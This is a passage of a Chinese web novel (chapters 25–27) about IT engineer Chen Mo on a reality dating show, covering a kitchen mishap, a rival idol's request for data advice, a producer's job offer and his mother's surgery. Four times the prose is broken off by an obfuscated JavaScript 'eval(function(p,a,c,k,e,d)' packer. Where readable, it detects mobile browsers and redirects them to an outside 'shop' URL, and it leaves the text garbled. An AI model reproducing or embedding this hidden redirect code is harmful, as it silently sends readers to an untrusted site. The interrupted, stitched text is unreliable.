“会基础。”陈末说,“煮面,煮粥,炒青菜。够用。” “那你能教我吗?” “可以。”陈末说,“但不是现在。现在你需要去处理烫伤,然后睡觉。” “哦……”苏小雨有点失望,但很快又振作起来,“那说好了!你教我!” “说好了。” 这时,厨房门口传来脚步声。林薇站在那儿,穿着深蓝色睡袍,头发有些凌乱,显然是刚醒。 “我闻到烟味。”她说,看了眼现场,“出事了?” “小事故。”陈末说,“已经处理了。” 林薇的目光扫过苏小雨的睡衣、手臂上的冰袋、料理台的狼藉,最后落在陈末身上。她的表情没什么变化,但陈末觉得她似乎明白了什么。 “需要帮忙吗?”林薇问。 “不用了,快清理完了。”陈末说。 林薇点点头,但没走。她走进厨房,拿起扫帚开始清扫地上的面粉。动作自然,像在自己家。 苏小雨看看林薇,又看看陈末,小声说:“林薇姐也来了啊……” “被烟味吵醒的不止我一个。”楚曦的声音从门口传来。她穿着运动背心和短裤,像是刚夜跑回来,“什么情况?着火了?” “小雨学做饭,锅烧干了。”陈末简单解释。 楚曦挑眉,走进来看了一眼:“这哪是学做饭,这是搞爆破吧。”她拍了拍苏小雨的头,“没事,我第一次做饭把厨房炸了,比你这严重。” “真的?”苏小雨惊讶。 “真的。”楚曦说,“所以你现在比我强。” 秦澜也出现了,她甚至戴着眼镜,手里拿着平板,像是刚从工作中抬起头。“烟雾触发了我的空气质量监测APP。”她推了推眼镜,“需要我联系物业吗?” “不用了。”陈末说,“已经控制住了。” 王烁是最后一个到的。他穿着丝绸睡衣,头发一丝不乱,看起来不像刚睡醒。他在门口站定,扫视厨房里的五个人——陈末在擦台面,林薇在扫地,楚曦在检查苏小雨的烫伤,秦澜在看平板。画面有点……诡异。 “大家都没事吧?”王烁微笑,“我听到动静,过来看看。” “没事。”陈末说,“小问题。” 王烁的目光在苏小雨身上停留了一秒,又移到那口烧焦的锅上。“小雨在学做饭?这么晚?” “我、我就是睡不着……”苏小雨小声说。 “有心了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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脑子里却还在回放刚才的画面:苏小雨手忙脚乱拍打锅盖的样子,林薇默默扫地的侧影,楚曦检查烫伤时的认真表情,秦澜推眼镜的动作,王烁那个意味深长的微笑…… 还有苏小雨说“我想帮忙”时,眼里那种纯粹的、笨拙的真诚。 陈末忽然觉得,自己的“系统”里,好像多了一个新的变量。 不是技术问题,不是工作压力,不是金钱计算。 而是一种……他不太熟悉,但无法忽略的,情感负载。 他不知道这个变量会带来什么影响。 他只知道,当苏小雨说“我想为你做点什么”时,他心里的某个地方,轻微地动了一下。 像服务器日志里突然出现的一行异常记录。 不严重,但需要关注。 他深吸一口气,强迫自己停止思考。 睡觉。 明天还有工作。 后天,母亲手术。 大后天……谁知道还会发生什么。 窗外的海声规律传来。 像系统的心跳。 稳定,持续,不容忽视。 而陈末,这个习惯了监控一切的技术人员,第一次发现, 有些变量, 即使监控到了, 也不知道该怎么处理。 他只能记录日志,继续观察。 等待系统自己, 给出答案。 25. 王烁的“技术性”求助 上午十点,陈末在书房调试自己的笔记本电脑——公司新部署的监控系统有个兼容性问题,他正在远程协助解决。敲完最后一行命令,回车的瞬间,门被敲响了。 “请进。” 王烁推门进来,手里拿着一个平板电脑和笔记本。他今天穿得很休闲,浅蓝色衬衫,卡其裤,头发随意地抓了抓,看起来比平时少了几分精致,多了几分……亲和力? “陈末,在忙吗?”王烁微笑,“想占用你一点时间,请教些问题。” 陈末保存工作进度,合上电脑:“什么事?” “关于数据分析。”王烁在对面坐下,把平板放在桌上,“我看了你迷宫挑战的表现,还有之前排球赛的分析,觉得很受启发。我自己也在学数据思维,但都是皮毛,想请你指点指点。” 陈末看着王烁。他的表情很真诚,眼神专注,完全是一副虚心求教的样子。但陈末想起刘导的警告,想起王烁团队在调查他,想起昨夜厨房里那个意味深长的微笑。 “你想分析什么?”陈末问。 “观众反馈。”王烁打开平板,调出一个图表,“这是节目开播以来,我和你的热搜指数对比曲线。” 陈末看向屏幕。两条线,蓝色代表王烁,红色代表陈末。开播前几天,蓝线高高在上,红线几乎贴着横轴。但从“为钱而来”采访播出后,红线开始飙升,迅速超过蓝线,并且差距越来越大。最新数据,红线指数是蓝线的三倍多。 “如你所见,”王烁语气平静,“我的热度在下降,而你在上升。从数据角度,这很正常——新鲜感、话题性、人设独特性,你都占优势。但我想知道的是……有没有办法在不改变核心人设的前提下,提升我的数据表现?” 问题很专业,很理性。完全是从业务角度出发的探讨。 陈末仔细看图表,又调出其他数据维度:讨论话题关键词、弹幕情感分析、社交媒体互动模式。 “你的数据有几个特点。”陈末开始分析,“第一,稳定性高。你的热搜指数曲线波动很小,说明你的表现一直维持在固定水准。第二,话题集中度低。你的讨论话题分散在‘颜值’、‘演技’、‘综艺感’等多个维度,没有突出焦点。第三,情感极性偏中性。喜欢你的观众会说‘王烁好帅’,‘王烁好温柔’,但很少出现极端正面或负面情绪。” 王烁认真记录:“那你的数据呢?” “我的正好相反。”陈末调出自己的数据分析,“波动性大——每次有金句或名场面就出现峰值。话题集中度高——‘真实’、‘技术宅’、‘系统比喻’这几个关键词占80%以上讨论。情感极性两极化——喜欢的会说‘陈末是我的互联网嘴替’,不喜欢的会说‘装什么装’,但争议本身带来热度。” 王烁点头:“所以结论是……我需要制造更多波动和争议?” “不完全是。”陈末摇头,“波动和争议只是表象。本质是……你的输出太稳定,缺乏意外性。” “意外性?” “嗯。”陈末切到另一个图表,“这是观众心理模型。在综艺节目里,观众期待看到嘉宾的‘多面性’——不只是镜头前的完美形象,偶尔的失误、反差、突破预期,反而能提升好感度和记忆点。” 他举例:“比如你在迷宫挑战中指导苏小雨,如果当时你不是用‘诗意的语言’,而是像楚曦那样直接喊‘往左!停!抬脚!’,虽然可能没那么优雅,但会有反差萌,制造话题。” 王烁若有所思:“所以……我需要‘破格’?” “可以这么理解。”陈末说,“但不是刻意破格。刻意会被看穿。最好是……在合适情境下,展露一点真实的不完美。就像系统需要偶尔的‘良性故障’来提醒用户它的存在和价值。” 王烁笑了:“又是系统比喻。” “准确。”陈末说,“你的系统运行得太平稳,用户习惯了就忽略它。偶尔来个小故障——当然不能是大事故——用户才会重新关注,并且因为故障被顺利解决而增加信任感。” “具体怎么做?” “几个方向。”陈末列举,“第一,展现学习过程。比如你现在在请教我数据分析,这个过程本身就是‘不完美’——顶流偶像承认自己有不懂的东西,向素人请教。第二,适当示弱。迷宫挑战后,如果你公开说‘陈末的指导方式让我学到很多’,既承认他人长处,又展现开放心态。第三,制造一点无害的意外。比如下次任务,可以尝试一个你明显不擅长的领域,然后公开努力过程。” 王烁认真记录,笔尖在纸上沙沙作响。他写了很久,然后抬头:“陈末,你分析这些的时候……是完全客观的吗?” 陈末愣了一下:“什么意思?” “我的意思是,”王烁放下笔,“你帮我分析如何提升热度,本质上是帮竞争对手优化。这对你有什么好处?” 问题很直接。陈末思考了几秒:“第一,这是你问的问题,我回答是我的工作。第二,从系统角度看,一个生态里如果只有一个优势物种,系统会失衡。适当竞争对整体健康有利。第三……” 他停顿了一下:“我不认为我们是竞争对手。节目结束后,我回公司做运维,你继续当偶像。赛道不同。” 王烁看着陈末,眼神复杂:“你真是这么想的?” “嗯。” “即使我现在热度不如你,即使你可能抢走我很多资源,即使……节目里有些女嘉宾明显更关注你?”王烁的语气依然平静,但问题一个比一个尖锐。 陈末想了想:“热度是变量,会变化。资源分配是节目组的事。至于女嘉宾的关注……”他斟酌用词,“那是她们的个人选择。” “你不在意吗?”王烁追问,“苏小雨昨天半夜为你学做饭,林薇和你讨论技术问题到深夜,楚曦约你游泳,秦澜想聘你当顾问。这些关注,你都不在意?” 陈末意识到这是个陷阱题。说在意,显得自负;说不在意,显得虚伪。 “我在意她们的感受。”他谨慎地说,“但我不认为这是‘竞争’。每个人都有自己的选择标准,我能做的是尊重她们的选择,并做好自己的部分。” 王烁沉默了很久。书房里只有空调轻微的运转声。 “陈末,”他忽然说,“你知道吗?我最开始参加节目,是希望能和林薇有更多互动。她是我很欣赏的前辈,我一直想找机会合作。” 陈末没说话,等他继续。 “但现在,”王烁笑了笑,那笑容有点苦涩,“她好像更愿意和你讨论技术问题。还有苏小雨,她本来是我的粉丝,现在天天围着你转。有时候我会想……如果我也像你一样‘真实’,会不会不一样?” “你不会。”陈末说。 “为什么?” “因为‘真实’不是一种表演。”陈末说,“你不能表演真实,就像我不能表演完美偶像。我们都有自己的‘系统架构’,强行改变核心设计会导致不稳定。” 王烁盯着陈末,眼神里有种陈末读不懂的情绪:“所以你的意思是,我注定要一直演下去?” “每个人都在演。”陈末说,“只是剧本不同。你的剧本要求你演完美偶像,我的剧本允许我演普通素人。但演得好不好,看技术。” “技术……”王烁重复这个词,忽然笑了,“陈末,你知道我最佩服你什么吗?” “什么?” “你永远能把复杂的事情简化成技术问题。”王烁说,“人际关系,情感纠葛,竞争压力……到你这里都成了‘系统优化’、‘故障排查’、‘参数调整’。这种能力……很让人羡慕。” 陈末不知道这是夸奖还是讽刺,但他如实说:“这只是一种思维方式。” “但有效。”王烁站起身,“谢谢你今天的指导,很有帮助。我会……好好考虑你的建议。” 他收起平板和笔记本,走到门口时停下:“对了,关于你母亲手术的事……如果需要帮忙,我认识一些好医生。” 陈末心里一紧:“谢谢,暂时不用。” “好。”王烁点头,“手术顺利。” 他离开了。 陈末坐在原地,脑子里复盘刚才的对话。王烁的“请教”是真的请教,还是另有所图?那些关于女嘉宾的问题,是随口一问,还是刻意试探? 他打开手机,给刘导发了条消息:“王烁刚才找我请教数据分析。正常吗?” 刘导很快回复:“他在模仿你。你之前分析排球比赛、迷宫挑战,都用数据说话。他现在想学这套方法。但小心,他可能在收集你的思维方式,找突破口。” 果然。陈末关掉手机。 王烁在学他。学他的分析模式,学他的思维方式,甚至可能想学他的“真实”。 但这就像让Windows系统模仿Linux的操作逻辑——表面可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈末思考了很久。他的内核是什么?是解决问题的执念?是对确定性的追求?还是……某种连他自己都没完全理解的东西? “我不知道。”他诚实地说,“可能需要更多数据才能分析。” 林薇笑了:“你连自己都要分析。” “分析是理解的基础。” 两人沉默了一会儿。楚曦钓到了一条不错的鱼,正在兴奋地收线。 “陈末,”林薇轻声说,“不管王烁在谋划什么,你自己小心。他背后的团队……很专业。” “我知道。”陈末说,“谢谢提醒。” “另外,”林薇顿了顿,“关于手术……你什么时候离岛?” “明天一早。” “我明天早上也有工作安排,可能不能送你。”林薇说,“但……手术顺利。” “谢谢。” 鱼竿忽然动了。林薇的浮标在剧烈晃动。 “有鱼!”楚曦喊道。 林薇赶紧收线,动作有点乱。陈末站起来想帮忙,但船身一晃,他脚下不稳—— 林薇下意识伸手拉住他。两人的手在空中相握,短暂地接触了一秒,然后同时松开。 鱼跑了。 但没人注意鱼。 陈末站稳,说了声“谢谢”。林薇点点头,重新坐好,耳根有点红。 楚曦假装没看见,专心收自己的鱼线。 远处,王烁的船上,苏小雨在挥手:“陈末老师!我们钓到好多!” 陈末抬手回应。阳光下,海面上,一切都显得那么平静美好。 但他知道,这只是表象。 王烁在暗中行动。 手术明天就要开始。 三十万的债务还没还。 一百万的日薪还没拿到。 而他和林薇之间,某种说不清的东西正在生长。 所有变量都在变化。 所有平衡都在被打破。 而他,这个习惯了监控和优化的运维工程师,第一次感觉到, 有些系统, 即使监控到所有指标, 也无法预测下一步会发生什么。 他只能做好准备, 迎接任何可能的变化。 包括那些, 他还无法用数据分析的, 人的变化。 26. 秦澜的“商业提案” 上午十点半,陈末坐在市第一医院住院部走廊的长椅上,盯着手机屏幕上跳动的监测数据。 母亲刚做完术前最后一次全面检查,正在病房里休息。距离明天手术还有不到二十四小时,所有指标必须达标。陈末的笔记本电脑放在腿上,远程连接着公司的监控系统,但眼睛始终盯着手机上的医疗APP——心率、血压、血氧,每项数据都在正常范围内。 “陈先生?”护士从病房出来,“病人睡着了。医生说下午还有一次术前谈话,您可以先去吃午饭。” “好,谢谢。”陈末点头,但没动。他切换手机界面,打开一个自己写的Python脚本——用来分析母亲过去一周的生命体征数据,预测手术风险。算法显示:风险等级2(低风险),置信度87%。 87%还不够。他想要95%以上。 “又在算什么呢?” 秦澜的声音。陈末抬头,看见她站在走廊那头,手里拿着一个文件袋。她今天没穿西装,而是简单的白衬衫和黑色长裤,戴了副细边眼镜,看起来更像学者而不是制片人。 “秦澜老师?”陈末意外,“你怎么……” “正好在市里开会,听说你母亲明天手术,过来看看。”秦澜走过来,在他旁边坐下,“情况怎么样?” “稳定。”陈末说,“明天上午九点手术。” 秦澜点头,从文件袋里拿出一份装订整齐的计划书:“既然说到数据和算法,我想正式跟你谈谈合作的事。” 陈末接过。封面标题:《“系统思维”在影视项目管理中的应用研究及实践方案——与陈末先生合作提案》。 “这么正式?”陈末翻开。 “商业合作需要正式。”秦澜说,“我看了你迷宫挑战的数据分析,还有你对王烁的那些建议——虽然是在帮竞争对手,但方法论很有价值。所以我想,与其让你零散地输出这些洞见,不如系统性地合作。” 计划书很厚,分几个部分:问题分析(当前影视项目管理痛点)、解决方案(系统思维框架)、实施计划(三个阶段)、预期成果、风险评估、财务预算。 陈末快速浏览。秦澜的思路很清晰:第一阶段,请陈末作为顾问,为她正在筹备的职场剧提供技术细节和人物逻辑;第二阶段,开发一套基于“系统思维”的剧组管理工具;第三阶段,成立专门的工作室,将方法论产品化。 “财务预算在第35页。”秦澜提醒。 陈末翻到那页。年薪部分写着:基础年薪120万+项目分红(预计年度总包200万起)。顾问费另计,按项目规模每小时800-2000元。 “这是初步报价,可以谈。”秦澜说。 陈末放下计划书。120万年薪,是他现在公司收入的十倍以上。日薪一百万虽然更高,但只有三十天。而这个,是长期的、稳定的。 “为什么是我?”他问。 “三个原因。”秦澜推了推眼镜,“第一,你的思维方式稀缺。在娱乐圈,大多数人靠直觉和经验,很少有人能像你这样把复杂问题结构化。第二,你真实。我看过太多人为了利益表演,但你连表演都懒得做。这在商业合作中是加分项。第三……” 她停顿了一下:“你正在经历职业转型的窗口期。节目结束后,你不可能完全回到原来的生活。热度会带来机会,但也会带来干扰。你需要一个既能发挥所长,又相对可控的新轨道。” 陈末思考。秦澜的分析很准。他确实在考虑节目结束后怎么办。回公司?同事们会怎么看他?继续做运维?日薪一百万的经历会不会让他难以适应原来的薪资? “工作内容是什么?”他问。 “分两部分。”秦澜说,“第一,做我的私人顾问。我会把项目中的管理问题、创作难题打包给你,你用系统思维提供分析框架和解决方案。第二,参与工具开发。你有技术背景,可以和技术团队一起,把方法论产品化。” “时间投入?” “每周平均10-15小时,弹性工作制。”秦澜说,“大部分可以远程。你需要参加的重要会议,我会提前安排。” 陈末在心里计算:每周15小时,时薪按最低800算,一周12000,一年62.4万。加上基础年薪120万,就是182.4万。这还不算项目分红。 “我需要考虑。”他说。 “当然。”秦澜点头,“不过,在考虑之前,我想再提供一些……数据。” 她打开平板,调出几份报告:“这是我对你节目表现的数据分析。包括你的人气增长曲线、观众画像、商业价值评估。” 陈末看着屏幕。数据显示,他的观众群体集中在25-40岁,本科以上学历占比68%,一线城市占54%。商业价值评估:当前单条广告报价80-120万,综艺常驻嘉宾报价800-1200万/季。 “这些数据,王烁团队也有。”秦澜说,“他们正在用这些数据说服品牌方和平台,证明你的价值不稳定,建议谨慎合作。” 陈末皱眉。 “但我不这么认为。”秦澜切到下一页,“这是你的能力模型分析。技术思维、解决问题能力、学习能力、抗压能力……这些是可持续的。热度会褪去,但能力不会。” 她看着陈末:“所以我的提案本质是:投资你的能力,而不是你的热度。热度是快钱,能力是长线。” 陈末沉默。秦澜的逻辑很清晰,很有说服力。 “另外,”秦澜收起平板,“关于你母亲的手术费用……如果你接受合作,我可以预支第一年年薪的50%作为签约金。也就是60万。” 陈末抬头。 “别误会,这不是施舍。”秦澜说,“是投资。解决了你的后顾之忧,你才能专注工作。” “我需要和现在的公司确认竞业条款。”陈末说。 “我已经查过了。”秦澜又从文件袋拿出一份文件,“你公司的劳动合同我看过,没有竞业限制。而且顾问工作不影响你的本职工作,只要时间安排好。” 陈末惊讶:“你怎么……” “专业。”秦澜微微一笑,“既然要合作,就要做好尽职调查。” 护士这时从病房出来:“陈先生,病人醒了,说想见你。” “我马上来。”陈末起身,对秦澜说,“给我一天时间考虑。明天手术后答复你。” “好。”秦澜也站起来,“手术顺利。有任何需要,随时联系。” 陈末回到病房。母亲靠在床头,脸色有点苍白,但精神还好。 “刚才外面是谁?”母亲问。 “节目里的一个朋友,制片人。”陈末调整了一下输液管速度,“来看你。” “人家有心了。”母亲轻声说,“小末,你参加的那个节目……妈看了些片段。你说‘为钱而来’,是真的吗?” 陈末握住母亲的手:“是真的。但不止为钱。” “那为什么?” 陈末想了想:“为了……试试看,我这个只会修电脑的儿子,能不能在其他地方也有用。” 母亲笑了,笑容虚弱但温暖:“你一直都有用。对妈来说,你是全世界最有用的人。” 陈末眼眶一热。他低头,假装检查监护仪数据。 “手术费……够吗?”母亲问,“不够的话,房子……” “够。”陈末打断,“不仅够手术,术后康复、营养费都够了。你别操心。” “你哪来那么多钱?” “工作赚的。”陈末说,“你儿子现在……挺值钱的。” 母亲看着他,眼神里有骄傲,也有担忧:“别太累。钱够用就行,健康最重要。” “我知道。” 下午的术前谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990787|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话很顺利。医生详细讲解了手术方案、风险、术后护理。陈末认真记录,问了十几个技术性问题——出血量预估、麻醉药物选择、并发症概率。医生有点惊讶于他的专业,但一一解答。 谈话结束,陈末送医生出门时,医生忽然说:“陈先生,你母亲的手术,我们请了北京来的专家。是……一位姓林的女士联系的。” 陈末愣住。林? “她说她是你的朋友。”医生补充,“专家明天早上到,会主刀。” 林薇。陈末想起她说“需要资源随时调用”。没想到她说的资源是这个。 “手术费……”陈末问。 “那位女士已经预付了。”医生说,“她说……算投资。” 又是投资。今天第二个人说这个词。 陈末回到病房,母亲又睡着了。他坐在床边,打开手机,给林薇发了条消息:“专家的事,谢谢你。” 几秒后回复:“应该的。手术顺利。” 他又给秦澜发了条消息:“关于合作,我有个问题——如果接受,我需要搬到北京吗?” 秦澜秒回:“不用。大部分工作可远程。每月来一次开会即可。公司提供住宿补贴。” 陈末放下手机,看着窗外的城市景色。高楼林立,车流如织。这个世界如此庞大,复杂,而他原本只是其中一个微小齿轮。 但现在,突然之间,好像多了很多选择。 回公司继续做运维?日薪百万后,还能安心拿月薪八千吗? 接受秦澜的邀请?进入完全陌生的领域,用自己都不知道有多值钱的“思维方式”赚钱? 还是……其他可能? 他想起王烁今天早上在船上那个复杂的眼神。想起苏小雨学做饭的笨拙真诚。想起楚曦教他游泳时的耐心。想起林薇说“我信任你”时的语气。 还有秦澜理性的分析,刘导兴奋的期待,张伟疯狂的短信。 所有人的目光都落在他身上。 期待他给出答案。 期待他做出选择。 而他,第一次感到选择的重量。 不是技术方案选型,不是故障处理优先级,而是人生路径的选择。 每个选项都有风险,都有机会,都有不确定性。 他需要更多数据。 他打开手机,开始写一个新的决策模型: 【职业选择决策矩阵】 选项A:回原公司 优点:熟悉、稳定、技术积累 缺点:收入低、发展有限、热度消退后的心理落差 风险:中 预期收益:低 选项B:接受秦澜合作 优点:高收入、能力变现、新领域挑战 缺点:不确定性、学习成本、娱乐圈复杂性 风险:高 预期收益:高 选项C:其他机会(待探索) 优点:未知 缺点:未知 风险:未知 预期收益:未知 写完,他看着屏幕。数据还不够。他需要更多信息。 但时间不多了。 明天手术。 大后天要回节目。 王烁在行动。 林薇在帮他。 苏小雨在等他。 秦澜在等他答复。 所有变量都在催促。 而他,需要在这个复杂系统里,找到最优解。 或者至少,找到一个不会后悔的可行解。 窗外,天色渐暗。 城市的灯光次第亮起。 像一张巨大的电路板。 而陈末,这个习惯了在服务器机房里寻找答案的技术人员, 第一次要在更庞大、更复杂的世界里, 给自己的人生, 写一个算法。 27. 母亲手术日 早晨七点,陈末站在市第一医院手术等待区,盯着墙上那个“手术中”的指示灯。红色的光,稳定的频率,像心跳监护仪的波形。他已经看了十七分钟——从母亲被推进手术室开始。 手机在口袋里震动,是节目组的消息:“陈末老师,今天录制暂停一天,大家祝你母亲手术顺利。如果需要任何支持,随时联系。” 他回复:“收到,谢谢。” 然后又一条消息,是林薇的:“专家已经进手术室了。放心。” 他回复:“谢谢。资源调用记录:林薇→专家,待还。” 林薇秒回:“不用还。投资而已。” 投资。又是这个词。陈末不知道自己在林薇的投资模型里是什么类型的资产——高风险高收益?稳定增值?还是……情怀投资? 等待区很安静,只有偶尔的脚步声和远处护士站的呼叫铃。陈末找了个角落坐下,打开笔记本电脑——不是工作,而是继续写昨晚那个决策模型。 他新增了一个变量:情感负债。 林薇:专家资源+30万借款+技术支持(定义:高价值,无明确还款期限,需以知识分享形式偿还) 秦澜:职业机会+60万预支可能(定义:商业合作,权利义务明确) 节目组:100万/日薪酬+额外支持(定义:短期合同,高回报,高风险) 他盯着这些定义。在运维的世界里,所有依赖关系都应该清晰定义、明确接口、可监控、可降级。但现实世界的人际关系,接口模糊,依赖混沌,监控困难,降级可能引发连锁故障。 手机又震了。这次是楚曦:“陈末,手术开始了吗?需要人陪的话我可以飞过来,今天没训练。” 陈末想起楚曦昨天在船上说“以后你的问题,我帮你用体力解决”。他回复:“开始了。不用来,谢谢。” “行。那等你回来,加练游泳。” 然后是苏小雨:“陈末老师!我在学蒸蛋羹!等你回来做给你吃!(图片)” 图片是一碗表面光滑的蒸蛋,旁边放着一朵胡萝卜雕的小花——雕得歪歪扭扭,但能看出是花。 陈末回复:“进步很大。” “真的吗?那阿姨手术后我可以做吗?” “可以,但要在医生允许后。” “好!我会继续练习!” 秦澜也发了消息:“今天有空思考提案吗?不急,先处理家事。” 陈末回复:“在思考。明天答复。” 最后是王烁:“陈末,听说手术今天进行?祝一切顺利。如果需要医疗资源,我这边也有些关系。” 客套,但挑不出毛病。陈末回复:“谢谢,目前足够。” 放下手机,他重新看那个决策模型。情感负债那一栏,数据越来越多,越来越复杂。 八点三十七分,手术室的指示灯还是红色。 陈末站起来走动。他沿着走廊慢慢走,数步数,算时间。从等待区到护士站是二十八步,从护士站到电梯是四十二步,一圈下来一百零七步。以平均步速0.6米计算,一圈约六十四米。如果走十圈,就是六百四十米,大概消耗…… “陈先生?”一个护士叫住他,“您是3号手术室患者的家属吗?” “是。”陈末心里一紧,“出什么事了?” “没事没事。”护士赶紧说,“医生让我告诉你,手术进展顺利,大概还需要两小时。你可以去吃点东西。” “谢谢。”陈末松了口气。心率从刚才的112降到89。 他回到座位,打开手机健康APP,看着心率曲线——一个明显的峰值,然后缓慢下降。典型的应激反应模式。 九点十五分,手机响了。陌生号码。 “陈末先生吗?”一个女声,职业化,“我是《娱乐先锋》的记者,想采访一下您母亲手术的情况……” “不接受采访。”陈末挂断。 十秒后,另一个号码。 “陈先生您好,我是……” 挂断。 第三个。第四个。 陈末直接把手机调成飞行模式。世界安静了。 但他知道,这只是表面安静。记者能查到医院电话,能知道他母亲的手术时间,说明信息已经泄露了。王烁团队?狗仔队?还是医院内部? 他想起刘导说的:王烁团队可能在手术日制造话题。 会是什么话题?“孝子”形象炒作?还是……质疑真实性? 十点零三分,手术室的灯灭了。 陈末立刻站起来。门开了,医生走出来,摘掉口罩,表情平静。 “手术很成功。”医生说,“肿瘤完整切除,边缘清晰。出血量比预期少。病人现在送去复苏室,一小时后可以探视。” 陈末感觉腿有点软。他扶着墙:“谢谢医生。” “不客气。”医生顿了顿,“林女士请的专家确实水平很高。手术方案优化了几个关键步骤,减少了创伤。” 又是林薇。 一小时后,陈末在复苏室看到母亲。她还没完全清醒,身上连着各种管子,监护仪发出规律的嘀嗒声。但脸色比术前反而好一些——可能是麻醉效果。 护士在旁边调整输液速度:“病人情况稳定。今晚需要密切观察,明天转普通病房。” 陈末点头。他在床边坐下,握住母亲的手。手很凉,但脉搏有力。 手机虽然飞行模式,但手表还在震动。他看了一眼,是张伟的微信(手表能接收通知):“末哥!有人爆料你母亲手术,说你‘卖惨’!热搜正在爬升!” 陈末心里一沉。来了。 他打开手机,关掉飞行模式,瞬间涌进来几十条消息。点开微博,#陈末母亲手术#已经冲到热搜第12位。 热门微博是个八卦号发的:“据网友爆料,《心动的岛屿》素人嘉宾陈末母亲今日手术,陈末全程陪同。此前陈末曾直言参加节目‘为钱’,如今母亲重病,是否另有隐情?” 评论区精彩纷呈: “所以真的是为了筹手术费?那之前说‘为钱而来’是真的惨……” “也可能是炒作啊,现在什么不能编?” “如果是真的,那陈末还挺孝顺的。” “如果是假的,那就太没底线了。” “节目组不出来说句话吗?” 陈末关掉页面。他给刘导打电话。 “陈末老师,我正要找你。”刘导声音严肃,“热搜看到了?我们准备发声明,确认手术事实,但强调保护隐私,谴责泄露行为。你同意吗?” “同意。”陈末说,“但我想加一句:感谢节目组的支持,但希望公众关注节目本身,而非个人家事。” “好,加上。”刘导说,“另外……王烁那边,我们也沟通过了。他承诺会让团队配合控评。” “他团队可能就是源头。”陈末直言。 刘导沉默了几秒:“我知道。但没有证据。而且现在撕破脸对节目没好处。先稳住局面,手术顺利最重要。” 挂了电话,陈末看着病床上的母亲。她眼睛动了一下,慢慢睁开。 “妈。”陈末俯身。 “小末……”母亲声音虚弱,“手术……好了?” “好了,很成功。”陈末握住她的手,“你好好休息。” 母亲点点头,又闭上眼睛。 陈末坐回椅子。他打开手机,看着热搜排名——上升到第9位了。但评论区开始出现一些新声音: “如果是真的,陈末不容易啊。” “不管真假,拿母亲病情炒作都不合适吧?” “但人家也没主动说啊,是被人爆出来的。” “谁知道是不是自导自演?” 舆论在分化。这正是王烁团队想要的效果——制造争议,消耗他的“真实”人设。 下午两点,母亲情况稳定,转到了普通病房。陈末让护工暂时照看,自己下楼透气。 在医院花园里,他遇到一个意想不到的人——秦澜。 “你怎么来了?”陈末惊讶。 “正好在附近谈项目。”秦澜手里提着果篮,“顺便来看看。手术顺利?” “顺利。”陈末接过果篮,“谢谢。” “热搜的事我知道了。”秦澜直入主题,“需要我联系媒体朋友做正面引导吗?” “暂时不用。”陈末说,“节目组在处理。” “好。”秦澜点头,“不过,这也印证了我的判断——你的热度已经高到让某些人不安了。他们开始用各种手段打压你。” “包括利用我母亲的病?” “在娱乐圈,没有什么不能利用。”秦澜说得很平静,“亲情、爱情、疾病、死亡……都是素材。区别只在于,有些人有底线,有些人没有。” 陈末想起王烁那张完美的笑脸。他有底线吗? “关于提案,”秦澜换了个话题,“你可以慢慢考虑。但我想提醒一点:如果你决定留在娱乐圈,就需要建立自己的团队。单打独斗,很容易被吃掉。” “我没想留在娱乐圈。” “但你已经在圈里了。”秦澜说,“热度、关注度、商业价值……这些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990788|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会因为你的主观意愿而消失。你只能选择如何管理它们。” 陈末没说话。 秦澜看了看表:“我还有个会,先走了。照顾好你母亲。另外……这个给你。” 她递过来一张名片,上面只有一个名字和电话号码:“这是我律师的电话。如果遇到任何法律问题,比如隐私泄露、合同纠纷,可以找他。费用算我的。” “为什么帮我这么多?”陈末问。 “两个原因。”秦澜说,“第一,我认为你是值得投资的人才。第二……我讨厌看有人用下作手段赢。” 她说完就走了。 陈末看着那张名片。律师。他可能需要。 回到病房,母亲醒了,精神好了一些。护工正在喂她喝水。 “小末,”母亲轻声说,“刚才有几个人送花来,说是你节目里的朋友……名字我记不住。” 陈末看向床头柜。几束鲜花,卡片上署名:林薇、楚曦、苏小雨、秦澜。还有一束……王烁。 王烁也送了花。卡片上写着:“祝伯母早日康复。王烁。” 完美得无可挑剔。 陈末把花拿到外面,拆开检查——没有监听设备,没有奇怪的东西。就是普通花束。 也许是他多疑了。 傍晚,刘导打来电话:“声明发了,热搜降到20位了。舆论开始转向同情你。但我们监测到王烁团队在引导‘孝子’话题,可能想把你固定在这个人设里。” “怎么应对?”陈末问。 “冷处理。”刘导说,“不否认,不强调,不回应。等热度自然消退。你明天回节目吗?” “回。” “好。但要做好准备……王烁可能会有新动作。” 挂了电话,陈末坐在病房外的长椅上。夕阳西下,医院走廊被染成橙红色。 